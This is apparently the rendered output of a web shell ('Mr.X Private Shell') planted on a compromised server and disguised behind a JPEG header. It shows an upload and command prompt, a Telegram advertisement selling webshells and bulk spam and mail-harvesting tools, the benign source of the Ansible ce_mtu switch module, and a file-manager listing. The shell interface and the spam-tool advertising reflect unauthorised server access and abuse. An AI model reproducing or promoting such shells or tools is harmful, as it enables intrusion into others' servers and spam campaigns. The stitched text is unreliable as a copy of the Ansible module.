����JFIF��������� Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

deexcl@216.73.217.71: ~ $
#
# This file is part of Ansible
#
# Ansible is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# Ansible is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with Ansible.  If not, see <http://www.gnu.org/licenses/>.
#

from __future__ import (absolute_import, division, print_function)
__metaclass__ = type

DOCUMENTATION = '''
---
module: ce_mtu
short_description: Manages MTU settings on HUAWEI CloudEngine switches.
description:
    - Manages MTU settings on HUAWEI CloudEngine switches.
author: QijunPan (@QijunPan)
notes:
    - Either C(sysmtu) param is required or C(interface) AND C(mtu) params are req'd.
    - C(state=absent) unconfigures a given MTU if that value is currently present.
    - Recommended connection is C(network_cli).
    - This module also works with C(local) connections for legacy playbooks.
options:
    interface:
        description:
            - Full name of interface, i.e. 40GE1/0/22.
    mtu:
        description:
            - MTU for a specific interface.
              The value is an integer ranging from 46 to 9600, in bytes.
    jumbo_max:
        description:
            - Maximum frame size. The default value is 9216.
              The value is an integer and expressed in bytes. The value range is 1536 to 12224 for the CE12800
              and 1536 to 12288 for ToR switches.
    jumbo_min:
        description:
            - Non-jumbo frame size threshold. The default value is 1518.
              The value is an integer that ranges from 1518 to jumbo_max, in bytes.
    state:
        description:
            - Specify desired state of the resource.
        default: present
        choices: ['present','absent']
'''

EXAMPLES = '''
- name: Mtu test
  hosts: cloudengine
  connection: local
  gather_facts: no
  vars:
    cli:
      host: "{{ inventory_hostname }}"
      port: "{{ ansible_ssh_port }}"
      username: "{{ username }}"
      password: "{{ password }}"
      transport: cli

  tasks:

  - name: "Config jumboframe on 40GE1/0/22"
    community.network.ce_mtu:
      interface: 40GE1/0/22
      jumbo_max: 9000
      jumbo_min: 8000
      provider: "{{ cli }}"

  - name: "Config mtu on 40GE1/0/22 (routed interface)"
    community.network.ce_mtu:
      interface: 40GE1/0/22
      mtu: 1600
      provider: "{{ cli }}"

  - name: "Config mtu on 40GE1/0/23 (switched interface)"
    community.network.ce_mtu:
      interface: 40GE1/0/22
      mtu: 9216
      provider: "{{ cli }}"

  - name: "Config mtu and jumboframe on 40GE1/0/22 (routed interface)"
    community.network.ce_mtu:
      interface: 40GE1/0/22
      mtu: 1601
      jumbo_max: 9001
      jumbo_min: 8001
      provider: "{{ cli }}"

  - name: "Unconfigure mtu and jumboframe on a given interface"
    community.network.ce_mtu:
      state: absent
      interface: 40GE1/0/22
      provider: "{{ cli }}"
'''

RETURN = '''
proposed:
    description: k/v pairs of parameters passed into module
    returned: always
    type: dict
    sample: {"mtu": "1700", "jumbo_max": "9000", jumbo_min: "8000"}
existing:
    description: k/v pairs of existing mtu/sysmtu on the interface/system
    returned: always
    type: dict
    sample: {"mtu": "1600", "jumbo_max": "9216", "jumbo_min": "1518"}
end_state:
    description: k/v pairs of mtu/sysmtu values after module execution
    returned: always
    type: dict
    sample: {"mtu": "1700", "jumbo_max": "9000", jumbo_min: "8000"}
updates:
    description: command sent to the device
    returned: always
    type: list
    sample: ["interface 40GE1/0/23", "mtu 1700", "jumboframe enable 9000 8000"]
changed:
    description: check to see if a change was made on the device
    returned: always
    type: bool
    sample: true
'''

import re
import copy
from ansible.module_utils.basic import AnsibleModule
from ansible_collections.community.network.plugins.module_utils.network.cloudengine.ce import ce_argument_spec, load_config
from ansible.module_utils.connection import exec_command


def is_interface_support_setjumboframe(interface):
    """is interface support set jumboframe"""

    if interface is None:
        return False
    support_flag = False
    if interface.upper().startswith('GE'):
        support_flag = True
    elif interface.upper().startswith('10GE'):
        support_flag = True
    elif interface.upper().startswith('25GE'):
        support_flag = True
    elif interface.upper().startswith('4X10GE'):
        support_flag = True
    elif interface.upper().startswith('40GE'):
        support_flag = True
    elif interface.upper().startswith('100GE'):
        support_flag = True
    else:
        support_flag = False
    return support_flag


def get_interface_type(interface):
    """Gets the type of interface, such as 10GE, ETH-TRUNK, VLANIF..."""

    if interface is None:
        return None

    iftype = None

    if interface.upper().startswith('GE'):
        iftype = 'ge'
    elif interface.upper().startswith('10GE'):
        iftype = '10ge'
    elif interface.upper().startswith('25GE'):
        iftype = '25ge'
    elif interface.upper().startswith('4X10GE'):
        iftype = '4x10ge'
    elif interface.upper().startswith('40GE'):
        iftype = '40ge'
    elif interface.upper().startswith('100GE'):
        iftype = '100ge'
    elif interface.upper().startswith('VLANIF'):
        iftype = 'vlanif'
    elif interface.upper().startswith('LOOPBACK'):
        iftype = 'loopback'
    elif interface.upper().startswith('METH'):
        iftype = 'meth'
    elif interface.upper().startswith('ETH-TRUNK'):
        iftype = 'eth-trunk'
    elif interface.upper().startswith('VBDIF'):
        iftype = 'vbdif'
    elif interface.upper().startswith('NVE'):
        iftype = 'nve'
    elif interface.upper().startswith('TUNNEL'):
        iftype = 'tunnel'
    elif interface.upper().startswith('ETHERNET'):
        iftype = 'ethernet'
    elif interface.upper().startswith('FCOE-PORT'):
        iftype = 'fcoe-port'
    elif interface.upper().startswith('FABRIC-PORT'):
        iftype = 'fabric-port'
    elif interface.upper().startswith('STACK-PORT'):
        iftype = 'stack-Port'
    elif interface.upper().startswith('NULL'):
        iftype = 'null'
    else:
        return None

    return iftype.lower()


class Mtu(object):
    """set mtu"""

    def __init__(self, argument_spec):
        self.spec = argument_spec
        self.module = None
        self.init_module()

        # interface info
        self.interface = self.module.params['interface']
        self.mtu = self.module.params['mtu']
        self.state = self.module.params['state']
        self.jbf_max = self.module.params['jumbo_max'] or None
        self.jbf_min = self.module.params['jumbo_min'] or None
        self.jbf_config = list()
        self.jbf_cli = ""
        self.commands = list()

        # state
        self.changed = False
        self.updates_cmd = list()
        self.results = dict()
        self.proposed = dict()
        self.existing = dict()
        self.end_state = dict()
        self.intf_info = dict()         # one interface info
        self.intf_type = None           # loopback tunnel ...

    def init_module(self):
        """ init_module"""

        self.module = AnsibleModule(
            argument_spec=self.spec, supports_check_mode=True)

    def get_config(self, flags=None):
        """Retrieves the current config from the device or cache
        """
        flags = [] if flags is None else flags

        cmd = 'display current-configuration '
        cmd += ' '.join(flags)
        cmd = cmd.strip()

        rc, out, err = exec_command(self.module, cmd)
        if rc != 0:
            self.module.fail_json(msg=err)
        cfg = str(out).strip()

        return cfg

    def get_interface_dict(self, ifname):
        """ get one interface attributes dict."""
        intf_info = dict()

        flags = list()
        exp = r"| ignore-case section include ^#\s+interface %s\s+" % ifname.replace(" ", "")
        flags.append(exp)
        output = self.get_config(flags)
        output_list = output.split('\n')
        if output_list is None:
            return intf_info

        mtu = None
        for config in output_list:
            config = config.strip()
            if config.startswith('mtu'):
                mtu = re.findall(r'.*mtu\s*([0-9]*)', output)[0]

        intf_info = dict(ifName=ifname,
                         ifMtu=mtu)

        return intf_info

    def prase_jumboframe_para(self, config_str):
        """prase_jumboframe_para"""

        interface_cli = "interface %s" % (self.interface.replace(" ", "").lower())
        if config_str.find(interface_cli) == -1:
            self.module.fail_json(msg='Error: Interface does not exist.')

        try:
            npos1 = config_str.index('jumboframe enable')
        except ValueError:
            # return default vale
            return [9216, 1518]
        try:
            npos2 = config_str.index('\n', npos1)
            config_str_tmp = config_str[npos1:npos2]
        except ValueError:
            config_str_tmp = config_str[npos1:]

        return re.findall(r'([0-9]+)', config_str_tmp)

    def cli_load_config(self):
        """load config by cli"""

        if not self.module.check_mode:
            if len(self.commands) > 1:
                load_config(self.module, self.commands)
                self.changed = True

    def cli_add_command(self, command, undo=False):
        """add command to self.update_cmd and self.commands"""

        if undo and command.lower() not in ["quit", "return"]:
            cmd = "undo " + command
        else:
            cmd = command

        self.commands.append(cmd)          # set to device

    def get_jumboframe_config(self):
        """ get_jumboframe_config"""

        flags = list()
        exp = r"| ignore-case section include ^#\s+interface %s\s+" % self.interface.replace(" ", "")
        flags.append(exp)
        output = self.get_config(flags)
        output = output.replace('*', '').lower()

        return self.prase_jumboframe_para(output)

    def set_jumboframe(self):
        """ set_jumboframe"""

        if self.state == "present":
            if not self.jbf_max and not self.jbf_min:
                return

            jbf_value = self.get_jumboframe_config()
            self.jbf_config = copy.deepcopy(jbf_value)
            if len(jbf_value) == 1:
                jbf_value.append("1518")
                self.jbf_config.append("1518")
            if not self.jbf_max:
                return

            if (len(jbf_value) > 2) or (len(jbf_value) == 0):
                self.module.fail_json(
                    msg='Error: Get jubmoframe config value num error.')
            if self.jbf_min is None:
                if jbf_value[0] == self.jbf_max:
                    return
            else:
                if (jbf_value[0] == self.jbf_max) \
                        and (jbf_value[1] == self.jbf_min):
                    return
            if jbf_value[0] != self.jbf_max:
                jbf_value[0] = self.jbf_max
            if (jbf_value[1] != self.jbf_min) and (self.jbf_min is not None):
                jbf_value[1] = self.jbf_min
            else:
                jbf_value.pop(1)
        else:
            jbf_value = self.get_jumboframe_config()
            self.jbf_config = copy.deepcopy(jbf_value)
            if (jbf_value == [9216, 1518]):
                return
            jbf_value = [9216, 1518]

        if len(jbf_value) == 2:
            self.jbf_cli = "jumboframe enable %s %s" % (
                jbf_value[0], jbf_value[1])
        else:
            self.jbf_cli = "jumboframe enable %s" % (jbf_value[0])
        self.cli_add_command(self.jbf_cli)

        if self.state == "present":
            if self.jbf_min:
                self.updates_cmd.append(
                    "jumboframe enable %s %s" % (self.jbf_max, self.jbf_min))
            else:
                self.updates_cmd.append("jumboframe enable %s" % (self.jbf_max))
        else:
            self.updates_cmd.append("undo jumboframe enable")

        return

    def merge_interface(self, ifname, mtu):
        """ Merge interface mtu."""

        xmlstr = ''
        change = False

        command = "interface %s" % ifname
        self.cli_add_command(command)

        if self.state == "present":
            if mtu and self.intf_info["ifMtu"] != mtu:
                command = "mtu %s" % mtu
                self.cli_add_command(command)
                self.updates_cmd.append("mtu %s" % mtu)
                change = True
        else:
            if self.intf_info["ifMtu"] != '1500' and self.intf_info["ifMtu"]:
                command = "mtu 1500"
                self.cli_add_command(command)
                self.updates_cmd.append("undo mtu")
                change = True

        return

    def check_params(self):
        """Check all input params"""

        # interface type check
        if self.interface:
            self.intf_type = get_interface_type(self.interface)
            if not self.intf_type:
                self.module.fail_json(
                    msg='Error: Interface name of %s '
                        'is error.' % self.interface)

        if not self.intf_type:
            self.module.fail_json(
                msg='Error: Interface %s is error.')

        # mtu check mtu
        if self.mtu:
            if not self.mtu.isdigit():
                self.module.fail_json(msg='Error: Mtu is invalid.')
            # check mtu range
            if int(self.mtu) < 46 or int(self.mtu) > 9600:
                self.module.fail_json(
                    msg='Error: Mtu is not in the range from 46 to 9600.')
        # get interface info
        self.intf_info = self.get_interface_dict(self.interface)
        if not self.intf_info:
            self.module.fail_json(msg='Error: interface does not exist.')

        # check interface can set jumbo frame
        if self.state == 'present':
            if self.jbf_max:
                if not is_interface_support_setjumboframe(self.interface):
                    self.module.fail_json(
                        msg='Error: Interface %s does not support jumboframe set.' % self.interface)
                if not self.jbf_max.isdigit():
                    self.module.fail_json(
                        msg='Error: Max jumboframe is not digit.')
                if (int(self.jbf_max) > 12288) or (int(self.jbf_max) < 1536):
                    self.module.fail_json(
                        msg='Error: Max jumboframe is between 1536 to 12288.')

            if self.jbf_min:
                if not self.jbf_min.isdigit():
                    self.module.fail_json(
                        msg='Error: Min jumboframe is not digit.')
                if not self.jbf_max:
                    self.module.fail_json(
                        msg='Error: please specify max jumboframe value.')
                if (int(self.jbf_min) > int(self.jbf_max)) or (int(self.jbf_min) < 1518):
                    self.module.fail_json(
                        msg='Error: Min jumboframe is between '
                            '1518 to jumboframe max value.')

            if self.jbf_min is not None:
                if self.jbf_max is None:
                    self.module.fail_json(
                        msg='Error: please input MAX jumboframe '
                            'value.')

    def get_proposed(self):
        """ get_proposed"""

        self.proposed['state'] = self.state
        if self.interface:
            self.proposed["interface"] = self.interface

        if self.state == 'present':
            if self.mtu:
                self.proposed["mtu"] = self.mtu
            if self.jbf_max:
                if self.jbf_min:
                    self.proposed["jumboframe"] = "jumboframe enable %s %s" % (
                        self.jbf_max, self.jbf_min)
                else:
                    self.proposed[
                        "jumboframe"] = "jumboframe enable %s %s" % (self.jbf_max, 1518)

    def get_existing(self):
        """ get_existing"""

        if self.intf_info:
            self.existing["interface"] = self.intf_info["ifName"]
            self.existing["mtu"] = self.intf_info["ifMtu"]

        if self.intf_info:
            if not self.existing["interface"]:
                self.existing["interface"] = self.interface

            if len(self.jbf_config) != 2:
                return

            self.existing["jumboframe"] = "jumboframe enable %s %s" % (
                self.jbf_config[0], self.jbf_config[1])

    def get_end_state(self):
        """ get_end_state"""

        if self.intf_info:
            end_info = self.get_interface_dict(self.interface)
            if end_info:
                self.end_state["interface"] = end_info["ifName"]
                self.end_state["mtu"] = end_info["ifMtu"]
        if self.intf_info:
            if not self.end_state["interface"]:
                self.end_state["interface"] = self.interface

            if self.state == 'absent':
                self.end_state["jumboframe"] = "jumboframe enable %s %s" % (
                    9216, 1518)
            elif not self.jbf_max and not self.jbf_min:
                if len(self.jbf_config) != 2:
                    return
                self.end_state["jumboframe"] = "jumboframe enable %s %s" % (
                    self.jbf_config[0], self.jbf_config[1])
            elif self.jbf_min:
                self.end_state["jumboframe"] = "jumboframe enable %s %s" % (
                    self.jbf_max, self.jbf_min)
            else:
                self.end_state[
                    "jumboframe"] = "jumboframe enable %s %s" % (self.jbf_max, 1518)
        if self.end_state == self.existing:
            self.changed = False

    def work(self):
        """worker"""
        self.check_params()

        self.get_proposed()

        self.merge_interface(self.interface, self.mtu)
        self.set_jumboframe()
        self.cli_load_config()

        self.get_existing()
        self.get_end_state()
        self.results['changed'] = self.changed
        self.results['proposed'] = self.proposed
        self.results['existing'] = self.existing
        self.results['end_state'] = self.end_state
        if self.changed:
            self.results['updates'] = self.updates_cmd
        else:
            self.results['updates'] = list()

        self.module.exit_json(**self.results)


def main():
    """ main"""

    argument_spec = dict(
        interface=dict(required=True, type='str'),
        mtu=dict(type='str'),
        state=dict(choices=['absent', 'present'],
                   default='present', required=False),
        jumbo_max=dict(type='str'),
        jumbo_min=dict(type='str'),
    )
    argument_spec.update(ce_argument_spec)
    interface = Mtu(argument_spec)
    interface.work()


if __name__ == '__main__':
    main()

Filemanager

Name Type Size Permission Actions
__pycache__ Folder 0755
__init__.py File 0 B 0644
a10_server.py File 10.45 KB 0644
a10_server_axapi3.py File 8.67 KB 0644
a10_service_group.py File 12.91 KB 0644
a10_virtual_server.py File 10.92 KB 0644
aireos_command.py File 6.93 KB 0644
aireos_config.py File 13.73 KB 0644
apconos_command.py File 5.96 KB 0644
aruba_command.py File 6.7 KB 0644
aruba_config.py File 16.41 KB 0644
avi_actiongroupconfig.py File 5.3 KB 0644
avi_alertconfig.py File 12.43 KB 0644
avi_alertemailconfig.py File 3.73 KB 0644
avi_alertscriptconfig.py File 3.53 KB 0644
avi_alertsyslogconfig.py File 3.69 KB 0644
avi_analyticsprofile.py File 31.36 KB 0644
avi_api_session.py File 8.86 KB 0644
avi_api_version.py File 2.65 KB 0644
avi_applicationpersistenceprofile.py File 6.47 KB 0644
avi_applicationprofile.py File 7.58 KB 0644
avi_authprofile.py File 5.06 KB 0644
avi_autoscalelaunchconfig.py File 4.38 KB 0644
avi_backup.py File 3.95 KB 0644
avi_backupconfiguration.py File 5.35 KB 0644
avi_certificatemanagementprofile.py File 3.64 KB 0644
avi_cloud.py File 11.09 KB 0644
avi_cloudconnectoruser.py File 4.57 KB 0644
avi_cloudproperties.py File 3.66 KB 0644
avi_cluster.py File 3.79 KB 0644
avi_clusterclouddetails.py File 3.47 KB 0644
avi_controllerproperties.py File 19.1 KB 0644
avi_customipamdnsprofile.py File 3.76 KB 0644
avi_dnspolicy.py File 3.69 KB 0644
avi_errorpagebody.py File 3.78 KB 0644
avi_errorpageprofile.py File 4.44 KB 0644
avi_gslb.py File 14.35 KB 0644
avi_gslbgeodbprofile.py File 4.07 KB 0644
avi_gslbservice.py File 9.43 KB 0644
avi_gslbservice_patch_member.py File 10.19 KB 0644
avi_hardwaresecuritymodulegroup.py File 3.5 KB 0644
avi_healthmonitor.py File 7.44 KB 0644
avi_httppolicyset.py File 5.22 KB 0644
avi_ipaddrgroup.py File 4.8 KB 0644
avi_ipamdnsproviderprofile.py File 6.04 KB 0644
avi_l4policyset.py File 4.03 KB 0644
avi_microservicegroup.py File 3.78 KB 0644
avi_network.py File 5.13 KB 0644
avi_networkprofile.py File 4.14 KB 0644
avi_networksecuritypolicy.py File 4.15 KB 0644
avi_pkiprofile.py File 5.32 KB 0644
avi_pool.py File 22.34 KB 0644
avi_poolgroup.py File 5.87 KB 0644
avi_poolgroupdeploymentpolicy.py File 5.49 KB 0644
avi_prioritylabels.py File 3.62 KB 0644
avi_role.py File 3.25 KB 0644
avi_scheduler.py File 5.08 KB 0644
avi_seproperties.py File 3.51 KB 0644
avi_serverautoscalepolicy.py File 7.22 KB 0644
avi_serviceengine.py File 5.74 KB 0644
avi_serviceenginegroup.py File 53.38 KB 0644
avi_snmptrapprofile.py File 3.4 KB 0644
avi_sslkeyandcertificate.py File 6.75 KB 0644
avi_sslprofile.py File 8.21 KB 0644
avi_stringgroup.py File 4.08 KB 0644
avi_systemconfiguration.py File 6.76 KB 0644
avi_tenant.py File 3.87 KB 0644
avi_trafficcloneprofile.py File 4.01 KB 0644
avi_user.py File 6.12 KB 0644
avi_useraccount.py File 5.02 KB 0644
avi_useraccountprofile.py File 4.65 KB 0644
avi_virtualservice.py File 29.62 KB 0644
avi_vrfcontext.py File 4.51 KB 0644
avi_vsdatascriptset.py File 4.86 KB 0644
avi_vsvip.py File 5.21 KB 0644
avi_webhook.py File 3.77 KB 0644
bcf_switch.py File 4.86 KB 0644
bigmon_chain.py File 3.99 KB 0644
bigmon_policy.py File 6.23 KB 0644
ce_aaa_server.py File 69.09 KB 0644
ce_aaa_server_host.py File 101.81 KB 0644
ce_acl.py File 35.95 KB 0644
ce_acl_advance.py File 73.4 KB 0644
ce_acl_interface.py File 10.36 KB 0644
ce_bfd_global.py File 21.02 KB 0644
ce_bfd_session.py File 21.99 KB 0644
ce_bfd_view.py File 19.71 KB 0644
ce_bgp.py File 79.52 KB 0644
ce_bgp_af.py File 133.02 KB 0644
ce_bgp_neighbor.py File 72.12 KB 0644
ce_bgp_neighbor_af.py File 110.55 KB 0644
ce_command.py File 7.79 KB 0644
ce_config.py File 17.88 KB 0644
ce_dldp.py File 18.62 KB 0644
ce_dldp_interface.py File 22.41 KB 0644
ce_eth_trunk.py File 22.44 KB 0644
ce_evpn_bd_vni.py File 39.01 KB 0644
ce_evpn_bgp.py File 26.71 KB 0644
ce_evpn_bgp_rr.py File 18 KB 0644
ce_evpn_global.py File 6.93 KB 0644
ce_facts.py File 11.4 KB 0644
ce_file_copy.py File 13.18 KB 0644
ce_info_center_debug.py File 21.33 KB 0644
ce_info_center_global.py File 67.85 KB 0644
ce_info_center_log.py File 20.09 KB 0644
ce_info_center_trap.py File 24.65 KB 0644
ce_interface.py File 31 KB 0644
ce_interface_ospf.py File 30.25 KB 0644
ce_ip_interface.py File 23.63 KB 0644
ce_is_is_instance.py File 8.95 KB 0644
ce_is_is_interface.py File 27.75 KB 0644
ce_is_is_view.py File 76.21 KB 0644
ce_lacp.py File 17.68 KB 0644
ce_link_status.py File 21.76 KB 0644
ce_lldp.py File 31.85 KB 0644
ce_lldp_interface.py File 68.35 KB 0644
ce_mdn_interface.py File 12.96 KB 0644
ce_mlag_config.py File 34.52 KB 0644
ce_mlag_interface.py File 36.1 KB 0644
ce_mtu.py File 18.87 KB 0644
ce_multicast_global.py File 8.98 KB 0644
ce_multicast_igmp_enable.py File 17.36 KB 0644
ce_netconf.py File 5.81 KB 0644
ce_netstream_aging.py File 18.14 KB 0644
ce_netstream_export.py File 18.9 KB 0644
ce_netstream_global.py File 36.93 KB 0644
ce_netstream_template.py File 16.57 KB 0644
ce_ntp.py File 20.32 KB 0644
ce_ntp_auth.py File 16.36 KB 0644
ce_ospf.py File 33.93 KB 0644
ce_ospf_vrf.py File 67.18 KB 0644
ce_reboot.py File 4.28 KB 0644
ce_rollback.py File 15.86 KB 0644
ce_sflow.py File 44.08 KB 0644
ce_snmp_community.py File 34.64 KB 0644
ce_snmp_contact.py File 7.23 KB 0644
ce_snmp_location.py File 6.96 KB 0644
ce_snmp_target_host.py File 32.84 KB 0644
ce_snmp_traps.py File 19.59 KB 0644
ce_snmp_user.py File 36.66 KB 0644
ce_startup.py File 15.45 KB 0644
ce_static_route.py File 29 KB 0644
ce_static_route_bfd.py File 60.9 KB 0644
ce_stp.py File 36.76 KB 0644
ce_switchport.py File 38.54 KB 0644
ce_vlan.py File 20.88 KB 0644
ce_vrf.py File 10.73 KB 0644
ce_vrf_af.py File 30.04 KB 0644
ce_vrf_interface.py File 15.17 KB 0644
ce_vrrp.py File 52.15 KB 0644
ce_vxlan_arp.py File 24.02 KB 0644
ce_vxlan_gateway.py File 33.38 KB 0644
ce_vxlan_global.py File 18.3 KB 0644
ce_vxlan_tunnel.py File 30.95 KB 0644
ce_vxlan_vap.py File 33.03 KB 0644
cnos_backup.py File 9.69 KB 0644
cnos_banner.py File 5.64 KB 0644
cnos_bgp.py File 43.15 KB 0644
cnos_command.py File 5.84 KB 0644
cnos_conditional_command.py File 5.62 KB 0644
cnos_conditional_template.py File 6.68 KB 0644
cnos_config.py File 10.86 KB 0644
cnos_factory.py File 3.36 KB 0644
cnos_facts.py File 17.45 KB 0644
cnos_image.py File 8.65 KB 0644
cnos_interface.py File 15.57 KB 0644
cnos_l2_interface.py File 17.75 KB 0644
cnos_l3_interface.py File 12.54 KB 0644
cnos_linkagg.py File 9.84 KB 0644
cnos_lldp.py File 4.13 KB 0644
cnos_logging.py File 12.73 KB 0644
cnos_reload.py File 3.25 KB 0644
cnos_rollback.py File 10.32 KB 0644
cnos_save.py File 3.42 KB 0644
cnos_showrun.py File 3.34 KB 0644
cnos_static_route.py File 9.47 KB 0644
cnos_system.py File 12.93 KB 0644
cnos_template.py File 5.25 KB 0644
cnos_user.py File 12.28 KB 0644
cnos_vlag.py File 15.19 KB 0644
cnos_vlan.py File 10.69 KB 0644
cnos_vrf.py File 11.64 KB 0644
cv_server_provision.py File 23.67 KB 0644
dladm_etherstub.py File 3.93 KB 0644
dladm_iptun.py File 7.49 KB 0644
dladm_linkprop.py File 7.53 KB 0644
dladm_vlan.py File 5.15 KB 0644
dladm_vnic.py File 6.43 KB 0644
edgeos_command.py File 5.57 KB 0644
edgeos_config.py File 10.65 KB 0644
edgeos_facts.py File 8.06 KB 0644
edgeswitch_facts.py File 7.56 KB 0644
edgeswitch_vlan.py File 15.03 KB 0644
enos_command.py File 6.07 KB 0644
enos_config.py File 10.95 KB 0644
enos_facts.py File 15.23 KB 0644
eric_eccli_command.py File 6.89 KB 0644
exos_command.py File 7.23 KB 0644
exos_config.py File 16.96 KB 0644
exos_facts.py File 5.72 KB 0644
exos_l2_interfaces.py File 26.19 KB 0644
exos_lldp_global.py File 10.39 KB 0644
exos_lldp_interfaces.py File 13.68 KB 0644
exos_vlans.py File 16.07 KB 0644
flowadm.py File 14.32 KB 0644
ftd_configuration.py File 4.93 KB 0644
ftd_file_download.py File 4.26 KB 0644
ftd_file_upload.py File 3.54 KB 0644
ftd_install.py File 11.54 KB 0644
iap_start_workflow.py File 5.21 KB 0644
iap_token.py File 3.83 KB 0644
icx_banner.py File 6.54 KB 0644
icx_command.py File 7.22 KB 0644
icx_config.py File 18.28 KB 0644
icx_copy.py File 15.16 KB 0644
icx_facts.py File 17 KB 0644
icx_interface.py File 23.05 KB 0644
icx_l3_interface.py File 14.56 KB 0644
icx_linkagg.py File 10.03 KB 0644
icx_lldp.py File 5.13 KB 0644
icx_logging.py File 18.1 KB 0644
icx_ping.py File 7.84 KB 0644
icx_static_route.py File 9.38 KB 0644
icx_system.py File 16.14 KB 0644
icx_user.py File 13.05 KB 0644
icx_vlan.py File 26.24 KB 0644
ig_config.py File 16 KB 0644
ig_unit_information.py File 3.9 KB 0644
ipadm_addr.py File 11.31 KB 0644
ipadm_addrprop.py File 6.86 KB 0644
ipadm_if.py File 5.47 KB 0644
ipadm_ifprop.py File 7.94 KB 0644
ipadm_prop.py File 6.79 KB 0644
ironware_command.py File 5.07 KB 0644
ironware_config.py File 11.11 KB 0644
ironware_facts.py File 19.45 KB 0644
nclu.py File 8.02 KB 0644
netact_cm_command.py File 11.77 KB 0644
netscaler_cs_action.py File 8.71 KB 0644
netscaler_cs_policy.py File 9.28 KB 0644
netscaler_cs_vserver.py File 42.83 KB 0644
netscaler_gslb_service.py File 23.35 KB 0644
netscaler_gslb_site.py File 13.73 KB 0644
netscaler_gslb_vserver.py File 32.98 KB 0644
netscaler_lb_monitor.py File 46.23 KB 0644
netscaler_lb_vserver.py File 70.58 KB 0644
netscaler_nitro_request.py File 27.82 KB 0644
netscaler_save_config.py File 4.67 KB 0644
netscaler_server.py File 12.88 KB 0644
netscaler_service.py File 30.9 KB 0644
netscaler_servicegroup.py File 34.33 KB 0644
netscaler_ssl_certkey.py File 11.6 KB 0644
nos_command.py File 7.15 KB 0644
nos_config.py File 14.61 KB 0644
nos_facts.py File 13.44 KB 0644
nuage_vspk.py File 41.3 KB 0644
opx_cps.py File 12.18 KB 0644
ordnance_config.py File 12.03 KB 0644
ordnance_facts.py File 8.26 KB 0644
pn_access_list.py File 4.29 KB 0644
pn_access_list_ip.py File 4.42 KB 0644
pn_admin_service.py File 5.62 KB 0644
pn_admin_session_timeout.py File 2.96 KB 0644
pn_admin_syslog.py File 6.4 KB 0644
pn_connection_stats_settings.py File 10.3 KB 0644
pn_cpu_class.py File 5.65 KB 0644
pn_cpu_mgmt_class.py File 3.75 KB 0644
pn_dhcp_filter.py File 4.66 KB 0644
pn_dscp_map.py File 4.03 KB 0644
pn_dscp_map_pri_map.py File 3.99 KB 0644
pn_fabric_local.py File 4.71 KB 0644
pn_igmp_snooping.py File 6.22 KB 0644
pn_ipv6security_raguard.py File 6.64 KB 0644
pn_ipv6security_raguard_port.py File 3.73 KB 0644
pn_ipv6security_raguard_vlan.py File 4.77 KB 0644
pn_log_audit_exception.py File 5.65 KB 0644
pn_port_config.py File 11.93 KB 0644
pn_port_cos_bw.py File 3.96 KB 0644
pn_port_cos_rate_setting.py File 5.67 KB 0644
pn_prefix_list.py File 4.12 KB 0644
pn_prefix_list_network.py File 5.06 KB 0644
pn_role.py File 6.14 KB 0644
pn_snmp_community.py File 4.99 KB 0644
pn_snmp_trap_sink.py File 6 KB 0644
pn_snmp_vacm.py File 6.09 KB 0644
pn_stp.py File 5.91 KB 0644
pn_stp_port.py File 5.02 KB 0644
pn_switch_setup.py File 12.88 KB 0644
pn_user.py File 5.11 KB 0644
pn_vflow_table_profile.py File 3.62 KB 0644
pn_vrouter_bgp.py File 16.33 KB 0644
pn_vrouter_bgp_network.py File 5.06 KB 0644
pn_vrouter_interface_ip.py File 7.05 KB 0644
pn_vrouter_loopback_interface.py File 6.4 KB 0644
pn_vrouter_ospf.py File 5.57 KB 0644
pn_vrouter_ospf6.py File 5.49 KB 0644
pn_vrouter_packet_relay.py File 5.49 KB 0644
pn_vrouter_pim_config.py File 4.77 KB 0644
pn_vtep.py File 5.1 KB 0644
slxos_command.py File 7.19 KB 0644
slxos_config.py File 17.87 KB 0644
slxos_facts.py File 13.43 KB 0644
slxos_interface.py File 14.25 KB 0644
slxos_l2_interface.py File 16.58 KB 0644
slxos_l3_interface.py File 9.41 KB 0644
slxos_linkagg.py File 9.57 KB 0644
slxos_lldp.py File 3.33 KB 0644
slxos_vlan.py File 9.39 KB 0644
sros_command.py File 6.66 KB 0644
sros_config.py File 10.97 KB 0644
sros_rollback.py File 6.26 KB 0644
vdirect_commit.py File 12.58 KB 0644
vdirect_file.py File 8.99 KB 0644
vdirect_runnable.py File 13.38 KB 0644
voss_command.py File 7.75 KB 0644
voss_config.py File 18.33 KB 0644
voss_facts.py File 15.67 KB 0644